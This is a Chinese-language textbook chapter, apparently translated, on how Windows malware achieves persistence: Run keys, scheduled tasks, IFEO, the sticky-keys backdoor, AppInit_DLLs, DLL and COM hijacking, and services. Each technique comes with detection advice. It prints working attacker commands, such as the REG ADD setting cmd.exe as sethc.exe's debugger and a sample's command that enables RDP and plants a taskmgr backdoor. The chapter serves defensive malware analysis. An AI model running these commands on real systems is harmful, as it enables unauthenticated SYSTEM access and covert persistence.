通常情况下,对手希望他们的恶意程序留在被攻击的计算机上,甚至在Windows重新启动时也是如此。这是通过各种持久性方法实现的;这种持久性允许攻击者留在被攻击的系统上,而不需要重新感染它。有许多方法可以在每次Windows启动时运行恶意代码。在本节中,你将了解对手使用的一些持久性方法。本节所涉及的一些持久性技术允许攻击者以高权限执行恶意代码(权限升级)。

2.1 运行注册表键

对手用来在重启后生存的最常见的持久性机制之一是通过在运行注册表键上添加一个条目来实现。被添加到运行注册表键的程序在系统启动时被执行。下面是一个最常见的运行注册表键的列表。除了这里提到的那些之外,恶意软件还可以将自己添加到各种自动启动位置。了解各种自动启动位置的最好方法是使用Sysinternals的AutoRuns工具(https://docs.microsoft.com/en-us/sysinternals/ downloads/autoruns)。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

在下面的例子中,执行时,恶意软件(bas.exe)首先在Windows目录中投放一个可执行文件(LSPRN.EXE),然后在运行注册表键中添加以下条目,以便每次系统启动时恶意程序可以启动。从注册表项可以看出,恶意软件正试图使其二进制文件看起来像一个与打印机有关的应用程序。

[RegSetValue] bas.exe:2192 > HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\Printe rSecurityLayer = C:\Windows\LSPRN.EXE

为了检测使用这种持久性方法的恶意软件,你可以监测与已知程序无关的运行注册表键的变化。你还可以使用Sysinternal的AutoRuns工具来检查自动启动位置的可疑条目。

2.2 预定的任务

对手使用的另一种持久性方法是安排一个任务,让他们在指定时间或在系统启动时执行他们的恶意程序。诸如schtasks和at之类的Windows工具通常被对手用来安排程序或脚本在所需的日期和时间执行。通过使用这些工具,攻击者可以在本地计算机或远程计算机上创建任务,只要用于创建任务的账户是管理员组的一部分。在下面的例子中,恶意软件(sub.exe)首先在%AllUsersProfile%中创建一个名为service.exe的文件。 在%AllUsersProfile%\WindowsTask\目录下创建一个名为service.exe的文件,然后调用cmd.exe,该文件又使用schtasks Windows工具来创建一个持久的计划任务。

[CreateFile] ssub.exe:3652 > %AllUsersProfile%\WindowsTask\service.exe [CreateProcess] ssub.exe:3652 > "%WinDir%\System32\cmd.exe /C schtasks /create /tn MyApp /tr %AllUsersProfile%\WindowsTask\service.exe /sc ONSTART /f"
[CreateProcess] cmd.exe:3632 > "schtasks /create /tn MyApp /tr
%AllUsersProfile%\WindowsTask\service.exe /sc ONSTART /f

为了检测这种类型的持久性,可以使用Sysinternals Autoruns或任务调度器工具来列出当前安排的任务。你应该考虑监控那些与合法程序无关的任务的变化。你还可以监控传递给系统工具(如cmd.exe)的命令行参数,这些工具可能被用来创建任务。任务也可能是使用管理工具创建的,如PowerShell和Windows Management Instrumentation(WMI),所以适当的日志和监控应该有助于检测这种技术。

2.3 启动文件夹

攻击者可以通过在启动文件夹中添加其恶意二进制文件来实现持久性。当操作系统启动时,启动文件夹会被查找,驻留在该文件夹中的文件会被执行。Windows操作系统维护两种类型的启动文件夹。(a) 用户范围和(b) 系统范围,如下图所示。驻留在用户启动文件夹中的程序只对特定用户执行,而驻留在系统文件夹中的程序则在任何用户登录系统时执行。要使用全系统的启动文件夹实现持久性,需要管理员权限。

C:\%AppData%\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

在下面的例子中,恶意软件(Backdoor.Nitol)首先在%AppData%目录中投放了一个文件。然后,它创建了一个快捷方式(.lnk),指向所投放的文件,然后将该快捷方式添加到启动文件夹中。这样,当系统启动时,被丢弃的文件会通过快捷方式(.lnk)文件执行。

[CreateFile] bllb.exe:3364 > %AppData%\Abcdef Hijklmno Qrs\Abcdef Hijklmno Qrs.exe
[CreateFile] bllb.exe:3364 > %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Abcdef Hijklmno Qrs.exe.lnk

为了检测这种类型的攻击,你可以监测在启动文件夹中添加的条目和做出的更改。

2.4 Winlogon注册表项

攻击者可以通过修改Winlogon进程使用的注册表项来实现持久性。Winlogon进程负责处理交互式用户登录和注销。一旦用户被验证,winlogon.exe进程就会启动userinit.exe,它运行登录脚本并重新建立网络连接。userinit.exe然后启动explorer.exe,它是用户的默认外壳。 winlogon.exe进程启动userinit.exe是由于以下的注册表值。这个条目指定了当用户登录时,哪些程序需要由Winlogon执行。默认情况下,这个值被设置为userinit.exe的路径(C:\Windows\system32\userinit.exe)。攻击者可以改变或添加另一个包含恶意可执行文件路径的值,然后将由 winlogon.exe进程(当用户登录时)启动。

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

以同样的方式,userinit.exe查询以下注册表值来启动默认的用户外壳。默认情况下,这个值被设置为explorer.exe。攻击者可以改变或添加另一个包含恶意可执行程序名称的条目,然后由userinit.exe启动。

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

在下面的例子中,Brontok蠕虫通过用其恶意的可执行文件修改下列Winlogon注册表值来实现持久性。

image-20220315133936379 image-20220315133936379

为了检测这种类型的持久性机制,可以使用Sysinternals Autoruns工具。如前所述,你可以监测注册表中的可疑条目(与合法程序无关)。

2.5 IFEO 图像文件执行选项 (Image File Execution Options)

图像文件执行选项(IFEO)允许人们在调试器下直接启动一个可执行文件。它使开发者可以选择调试他们的软件,以调查可执行文件启动代码中的问题。开发者可以在以下注册表键下用他/她的可执行文件的名称创建一个子键,并将调试器的值设置为调试器的路径。

Key: "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable name>"
Value: Debugger : REG_SZ : <full-path to the debugger>

进攻者利用这个注册表键来启动他们的恶意程序。为了演示这种技术,通过添加以下注册表项,将notepad.exe的调试器设置为计算器(calc.exe)进程。

image-20220315134057537 image-20220315134057537

现在,当你启动记事本时,它将被一个计算器程序启动(尽管它不是一个调试器)。这种行为可以在下面的屏幕截图中看到。

image-20220315134116222 image-20220315134116222

下面是一个恶意软件样本(TrojanSpy:Win32/Small.M)的例子,它将其恶意程序iexplor.exe配置为Internet的调试器 explorer, (iexplore.exe)。这是通过添加以下注册表值实现的。在这种情况下,攻击者选择了一个看起来与合法的internet explorer可执行文件名相似的文件名。由于以下注册表项的存在,每当合法的internet explorer(iexplore.exe)被执行时,它就会被恶意程序iexplor.exe启动,从而执行恶意代码。

[RegSetValue] LSASSMGR.EXE:960 > HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe\Debugger = C:\Program Files\Internet Explorer\iexplor.exe

为了检测这种类型的持久性技术,你可以检查图像文件执行选项注册表项,看是否有与合法程序无关的修改。

2.6 无障碍项目

Windows操作系统提供了各种无障碍功能,如屏幕键盘、叙述者、放大镜、语音识别等。这些功能主要是为有特殊需要的人设计的。这些无障碍程序甚至不用登录系统就可以启动。例如,许多这些辅助功能程序可以通过按下Windows+U组合键来访问,从而启动C:\Windows\System32\utilman.exe,或者你可以通过按五次shift键来启用粘性键,这将启动程序C:\Windows\System32\sethc.exe。攻击者可以改变这些无障碍程序(如sethc.exe和utilman.exe)的启动方式,以执行他们选择的程序,或者他们可以使用cmd.exe来提升权限(权限升级)。

攻击者利用粘性密钥(sethc.exe)功能,通过远程桌面(RDP)获得未经认证的访问。 远程桌面(RDP)。在Hikit Rootkit的案例中,(https://www.fireeye.com/blog/ threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html)合法的sethc.exe程序被替换成cmd.exe。这使得攻击者只需按五次shift键,就可以通过RDP以系统权限访问命令提示符。虽然在旧版本的Windows中,可以用另一个程序替换无障碍程序,但新版本的Windows执行了各种限制,如被替换的二进制文件必须位于%systemdir%,需要对x64系统进行数字签名,并且必须受Windows文件或资源保护(WFP/WRP)保护。这些限制使得对手很难替换合法程序(如sethc.exe)。为了避免替换文件,敌方利用了图像文件执行选项(在上一节中涉及)。下面的注册表项将cmd.exe设置为sethc.exe的调试器;现在,对手可以使用RDP登录并按五次Shift键以获得对系统级命令外壳的访问。使用这个外壳,对手甚至可以在认证之前执行任何任意的命令。以同样的方式,一个恶意的后门程序可以通过设置为sethc.exe或utilman.exe的调试器来执行。

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

在下面的例子中,当恶意软件样本(mets.exe)被执行时,它会运行以下命令,修改防火墙规则/注册表以允许RDP连接,然后添加一个注册表值,将任务管理器(taskmgr.exe)设为sethc.exe的调试器。这允许对手通过RDP访问taskmgr.exe(具有系统权限)。使用这种技术,对手可以通过RDP杀死一个进程或启动/停止一个服务,甚至不需要登录到系统中。

[CreateProcess] mets.exe:564 > "cmd /c netsh firewall add portopening tcp 3389 all & reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f & REG ADD HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe /v Debugger /t REG_SZ /d %windir%\system32\taskmgr.exe /f"

这种类型的攻击略微难以发现,因为攻击者要么用合法程序替换无障碍程序,要么利用合法程序。然而,如果你怀疑无障碍程序(sethc.exe)已被合法文件(如 cmd.exe 或 taskmgr.exe)取代,那么你可以将被取代的无障碍程序的哈希值与合法文件(cmd.exe 或 taskmgr.exe)的哈希值进行比较,以寻找匹配。哈希值匹配表明原始的 sethc.exe 文件被替换。你还可以检查图像文件执行选项的注册表项,看是否有任何可疑的修改。

2.7 启用的应用程序的DLLs(AppInit_DLLs)

Windows中的AppInit_DLLs功能提供了一种将自定义DLLs加载到每个交互式应用程序的地址空间的方法。一旦DLL被加载到任何进程的地址空间,它就可以在该进程的上下文中运行,并可以钩住知名的API来实现一个替代功能。攻击者可以通过在以下注册表键中设置AppInit_DLLs值来实现其恶意DLL的持久性。这个值通常包含空格或以逗号分隔的DLLs列表。这里指定的所有DLLs都被加载到每个加载User32.dll的进程中。由于User32.dll几乎被所有进程加载,这种技术使攻击者能够将他们的恶意DLL加载到大多数进程中,并在加载进程的上下文中执行恶意代码。除了设置AppInit_DLLs值,攻击者还可以通过将LoadAppInit_DLLs注册表值设置为1来启用AppInit_DLLs功能。在启用安全启动的Windows 8和更高版本中,AppInit_DLLs功能被禁用。

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows

以下截图显示了由T9000后门(https://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular- backdoor-uses-complex-anti-analysis-techniques/)添加的AppInit DLL条目。

image-20220315134430995 image-20220315134430995

由于添加了前面的注册表项,当任何新进程(加载User32.dll)启动时,都会将恶意DLL(ResN32.dll)加载到其地址空间。下面的截图显示了重启系统后加载恶意DLL(ResN32.dll)的操作系统的进程。由于这些进程大多以高完整性级别运行,它允许对手以高权限执行恶意代码。

image-20220315134449422 image-20220315134449422

为了检测这种技术,你可以寻找在 AppInit_DLLs注册表的可疑条目,这些条目与你环境中的合法程序无关。你还可以寻找任何由于加载恶意DLL而表现出异常行为的进程。

2.8 DLL搜索顺序劫持

当一个进程被执行时,其相关的DLL被加载到进程内存中(通过导入表或作为进程调用LoadLibrary() API的结果)。Windows操作系统在预定义的位置上以特定的顺序搜索要加载的DLL。搜索顺序在MSDN这里有记录:http:// msdn.microsoft.com/en-us/library/ms682586(VS.85).aspx。

简而言之,如果任何DLL必须被加载,操作系统首先检查DLL是否已经在内存中加载。如果是,它就会使用加载的DLL。如果没有,它就检查该DLL是否被定义在KnownDLLs注册表键(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)。这里列出的DLLs是系统DLLs(位于system32目录下),它们使用Windows文件保护,以确保这些DLLs不会被删除或更新,除非被操作系统更新。如果要加载的DLL在KnownDLLs列表中,那么该DLL总是从System32目录中加载。如果不满足这些条件,那么操作系统会按顺序在以下位置寻找DLL。

  1. 启动该应用程序的目录。
  2. 系统目录(C:\Windows\System32)。
  3. 16位系统目录(C:\Windows\System)。
  4. Windows目录(C:\Windows)。
  5. 当前目录。
  6. 在PATH变量中定义的目录。

攻击者可以利用操作系统搜索DLL的方式来提升权限并实现持久性。考虑一下Operation Groundbait(http://www.welivesecurity.com/wp-content/uploads/ 2016/05/Operation-Groundbait.pdf)中使用的恶意软件(Prikormka dropper)。该恶意软件在执行时,会在Windows目录(C:\Windows)中投放一个名为samlib.dll的恶意DLL,如下所示。

[CreateFile] toor.exe:4068 > %WinDir%\samlib.dll

在一个干净的操作系统中,一个具有相同名称的DLL(samlib.dll)驻留在C:\Windows\System32目录中,这个干净的DLL被驻留在C:\Windows目录中的explorer.exe加载。这个干净的DLL也被驻扎在system32目录下的其他几个进程加载,如图所示。

image-20220315134711266 image-20220315134711266

由于恶意DLL与explorer.exe被丢在同一目录下(即C:\Windows),因此,当系统重新启动时,恶意的samlib.dll被explorer.exe从C:\Windows目录中加载,而不是从system32目录中加载合法的DLL。下面的截图是在重新启动受感染的系统后拍摄的,显示了由于DLL搜索顺序被劫持而被explorer.exe加载的恶意DLL。

image-20220315134723314 image-20220315134723314

DLL搜索顺序劫持技术使取证分析变得更加困难,并逃避了传统的防御措施。为了检测这种攻击,你应该考虑监控DLLs的创建、重命名、替换或删除,并寻找任何由进程从异常路径加载的模块(DLLs)。

2.9 COM劫持

组件对象模型(COM)是一个系统,它允许软件组件之间进行交互和通信,即使它们对对方的代码一无所知(https://msdn.microsoft.com/en-us/library/ms694363(v=vs.85).aspx)。软件组件通过使用COM对象进行交互,这些对象可以在单个进程、其他进程或远程计算机上。COM是作为一个客户/服务器框架来实现的。一个COM客户端是一个使用来自COM服务器(COM对象)的服务的程序,而COM服务器是一个向COM客户端提供服务的对象。COM服务器在DLL(称为进程内服务器)或EXE(称为进程外服务器)中实现一个由各种方法(功能)组成的接口。一个COM客户可以利用COM服务器提供的服务,方法是创建一个COM对象的实例,获取接口的指针,并调用其接口中实现的方法。

Windows操作系统提供了各种COM对象,可供程序(COM客户端)使用。这些COM对象由一个独特的数字标识,称为类标识符(CLSIDs),它们通常在注册表键HKEY_CLASSES_ROOT\CLSID<唯一的clsid>中找到。例如,“我的电脑 “的COM对象是{20d04fe0-3aea-1069-a2d8-08002b30309d},在下面的截图中可以看到。

image-20220315134827315 image-20220315134827315

对于每个CLSID键,你还有一个叫做InProcServer32的子键,指定实现COM服务器功能的DLL的文件名。下面的截图告诉你shell32.dll(COM服务器)与我的电脑有关。

image-20220315134843823 image-20220315134843823

与 “我的电脑 “COM对象类似,微软提供了各种其他的COM对象(在DLL中实现),供合法程序使用。当合法程序(COM客户端)使用特定COM对象(使用其CLSID)的服务时,其相关的DLL被加载到客户端程序的进程地址空间。在COM劫持的情况下,攻击者修改了合法COM对象的注册表项,并将其与攻击者的恶意DLL联系起来。其想法是,当合法程序使用被劫持的对象时,恶意DLL会被加载到合法程序的地址空间。这使得对手能够在系统上持续存在并执行恶意代码。

在下面的例子中,在执行该恶意软件(Trojan.Compfun)时,它掉落了一个扩展名为._dl的dll,如下所示。

 [CreateFile] ions.exe:2232 > %WinDir%\system\api-ms-win-downlevel-qgwo-
   l1-1-0._dl

然后,该恶意软件在HKCU\Software\Classes\CLSID中设置了以下注册表值。这个条目将MMDeviceEnumerator类的COM对象{BCDE0395-E52F-467C-8E3D-C4579291692E}与当前用户的恶意DLL C:\Windows\system\api-ms- win-downlevel-qgwo-l1-0._dl相关联。

[RegSetValue] ions.exe:2232 > HKCU\Software\Classes\CLSID\{BCDE0395- E52F-467C-8E3D-C4579291692E}\InprocServer32\(Default) = C:\Windows\system\api-ms-win-downlevel-qgwo-l1-1-0._dl

在一个干净的系统中,MMDeviceEnumerator类的COM对象{BCDE0395-E52F-467C-8E3D-C4579291692E}与DLL MMDevApi.dll相关,其注册表项通常在HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\中找到,而在HKCU\Software\Classes\CLSID\中没有找到相应条目。

image-20220315134945232 image-20220315134945232

由于恶意软件在HKCU\Software\Classes\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}中添加了一个条目,受感染的系统现在包含两个相同CLSID的注册表项。由于HKCU\Software\Classes\CLSID{BCDE0395-E52F-467C-8E3D- C4579291692E}的用户对象在位于HKLM\SOFTWARE\Classes\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}的机器对象之前被加载,恶意DLL被加载,从而劫持了MMDeviceEnumerator的COM对象。现在,任何使用MMDeviceEnumerator对象的进程都会加载恶意的DLL。下面的截图是在重新启动受感染的系统后拍摄的。重启后,恶意的DLL被explorer.exe加载,如图所示。

image-20220315135011347 image-20220315135011347

COM劫持技术逃避了大多数传统工具的检测。为了检测这种攻击,你可以在HKCU\Software\Classes\CLSID\中寻找对象的存在。恶意软件可能不会在HKCU\Software\Classes\CLSID\中添加条目,而是修改HKLM\Software\Classes\CLSID\中的现有条目以指向一个恶意二进制文件,因此你也应该考虑检查这个注册表键中指向未知二进制文件的任何值。

2.10 服务

服务是一个在后台运行的程序,没有任何用户界面,它提供操作系统的核心功能,如事件记录、打印、错误报告等。拥有管理员权限的对手可以通过将恶意程序安装为服务或修改现有的服务而在系统上持续存在。对于攻击者来说,使用服务的好处是,它可以被设置为在操作系统启动时自动启动,而且它大多以SYSTEM这样的特权账户运行;这使得攻击者可以提升权限。攻击者可以将恶意程序实现为EXE、DLL或内核驱动,并作为服务运行。Windows支持各种服务类型,下面概述了恶意程序使用的一些常见服务类型。

  • Win32OwnProcess。服务的代码以可执行文件的形式实现,它作为一个单独的进程运行。
  • Win32ShareProcess。服务的代码以DLL的形式实现,它从一个共享主机进程(svchost.exe)中运行。
  • 内核驱动服务。这种类型的服务在一个驱动程序(.sys)中实现,它被用来在内核空间执行代码。

Windows在注册表的HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSetservices键下存储已安装的服务列表及其配置。每个服务都有自己的子键,由指定服务如何、何时以及是否在EXE、DLL或内核驱动中实现的值组成。例如,Windows安装程序服务的名称是msiserver,在下面的截图中,HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services下有一个与服务名称相同的子键。ImagePath值指定这个服务的代码在msiexec.exe中实现,Type值为0x10(16)告诉我们它是Win32OwnProcess,Start值0x3代表SERVICE_DEMAND_START,这意味着这个服务需要手动启动。

image-20220315135121541 image-20220315135121541

要确定与常量值相关的符号名称,你可以参考MSDN的CreateService() API文档(https://msdn.microsoft.com/en- us/library/windows/desktop/ms682450(v=vs.85).aspx),或者你可以通过提供服务名称使用sc工具查询服务配置,如下图所示。这将显示在注册表子键中发现的类似信息。

C:\>sc qc "msiserver"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: msiserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\msiexec.exe /V LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Windows Installer
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem

现在让我们看一下Win32ShareProcess服务的例子。Dnsclient服务的服务名称是Dnscache,服务的代码是在DLL中实现的。当一个服务被实现为DLL(服务DLL)时,ImagePath注册表值通常会包含svchost.exe的路径(因为那是加载服务DLL的进程)。要确定与服务相关的DLL,你将不得不查看ServiceDLL值,它存在于 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services<service name>\Parameters子键下。下面的截图显示了与Dnsclient服务相关的DLL(dnsrslvr.dll);这个DLL被通用主机进程svchost.exe加载。

image-20220315135207264 image-20220315135207264

攻击者可以通过许多方式创建服务。下面概述了一些常见的方法。

  • sc工具。恶意软件可以调用cmd.exe,并可能运行sc命令,如sc创建和sc启动(或net启动),分别创建和启动服务。在下面的例子中,恶意软件执行sc命令(通过cmd.exe)来创建和启动一个名为update的服务。

    [CreateProcess] update.exe:3948 > "%WinDir%\System32\cmd.exe /c sc create update binPath= C:\malware\update.exe start= auto && sc start update "
  • 批量脚本。恶意软件可以投放一个批处理脚本,并执行前面提到的命令来创建和启动服务。在下面的例子中,恶意软件(Trojan:Win32/Skeeyah)投放了一个批处理脚本(SACI_W732.bat)并执行批处理脚本(通过cmd.exe),这反过来又创建并启动了一个名为Saci的服务。

    [CreateProcess] W732.exe:2836 > "%WinDir%\system32\cmd.exe /c %LocalAppData%\Temp\6DF8.tmp\SACI_W732.bat "
    [CreateProcess] cmd.exe:2832 > "sc create Saci binPath= %WinDir%\System32\Saci.exe type= own start= auto" [CreateProcess] cmd.exe:2832 > "sc start Saci"
  • Windows API。恶意软件可以使用Windows API,如CreateService()和StartService()来创建和启动服务。当你在后台运行sc 工具在后台运行时,它使用这些API调用来创建和启动服务。考虑一下下面这个NetTraveler恶意软件的例子。执行时,它首先丢弃一个dll。

    [CreateFile] d3a.exe:2904 > %WinDir%\System32\FastUserSwitchingCompatibilityex.dll
  • 然后,它使用OpenScManager()API打开一个服务控制管理器的句柄,并通过调用CreateService()API创建一个Win32ShareProcess类型的服务。第二个参数指定了服务的名称,在本例中是FastUserSwitchingCompatiblity。

image-20220315135340777 image-20220315135340777

在调用CreateService()后,服务被创建,以下注册表键被添加到服务配置信息中。

image-20220315135405824 image-20220315135405824

然后,它在上一步创建的注册表键下创建一个参数子键。

image-20220315135431348 image-20220315135431348

之后,它丢弃并执行一个批处理脚本,设置注册表值(ServiceDll),将DLL与创建的服务联系起来。批处理脚本的内容在这里显示。

@echo off
@reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingComp
atibility\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d
C:\Windows\system32\FastUserSwitchingCompatibilityex.dll

由于创建了Win32ShareProcess服务,当系统启动时,服务控制管理器(services.exe)会启动svchost.exe进程,该进程又会加载恶意的ServiceDLL FastUserSwitchingCompatibilityex.dll。

  • PowerShell和WMI:也可以使用管理工具创建服务,如PowerShell(https://docs.microsoft.com/en-us/powershell/module/ microsoft.powershell.management/new-service?view=powershell-5.1)和Window Management Instrumentation(WMI)高级接口(https://msdn. microsoft.com/en-us/library/aa394418(v=vs.85).aspx)。

攻击者可以修改(劫持)现有的服务,而不是创建一个新的服务。通常情况下,攻击者会劫持一个未使用或禁用的服务。这使得检测变得稍微困难,因为如果你试图找到非标准或未被识别的服务,你将错过这种类型的攻击。考虑一下BlackEnergy恶意软件投放器的例子,它劫持了现有的服务以在系统上持续存在。在执行时,BlackEnergy用恶意的aliide.sys驱动替换了驻留在system32\drivers目录下的名为aliide.sys的合法驱动(与名为aliide的服务相关)。替换驱动程序后,它修改了与aliide服务相关的注册表项,并将其设置为自动启动(当系统启动时,该服务自动启动),如以下事件所示。

[CreateFile] big.exe:4004 > %WinDir%\System32\drivers\aliide.sys [RegSetValue] services.exe:504 > HKLM\System\CurrentControlSet\services\aliide\Start = 2

下面的截图显示了修改前后aliide服务的服务配置。关于BlackEnergy3 big dropper的详细分析,请阅读作者的博文:https://cysinfo.com/blackout-memory-analysis-of-blackenergy- big-ropper/。

image-20220315135534620 image-20220315135534620

为了检测此类攻击,请监测与合法程序无关的服务注册表项的变化。寻找与服务相关的二进制路径的修改,以及服务启动类型的变化(从手动到自动)。你还应该考虑监控和记录sc、PowerShell和WMI等工具的使用情况,这些工具可用于与服务互动。Sysinternals AutoRuns工具也可以用来检查服务的使用情况,以实现持久性。

只要微软Office应用程序启动,敌方就可以持续并执行DLL中的恶意代码。更多细节,请参见http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key- part-10/ 和 https://researchcenter.paloaltonetworks.com/2016/ 07/unit42-technical-walkthrough-offic-test-persistence-method- used-in-recent-sofacy-attacks/。 关于各种持久化方法的进一步细节,以及了解对手的战术和技术,请参考MITRE的ATT&CK维基:https:/ /attack.mitre.org/wiki/persistence。

总结

恶意软件使用各种API调用与系统进行交互,在这一章中,你了解到恶意二进制文件是如何使用API调用来实现各种功能的。本章还介绍了对手使用的不同的持久性技术,这些技术使它们即使在系统重启后也能驻留在受害者的系统中(其中一些技术允许恶意二进制软件以高权限执行代码)。 在下一章中,你将了解对手使用的不同的代码注入技术,在合法进程的上下文中执行他们的恶意代码。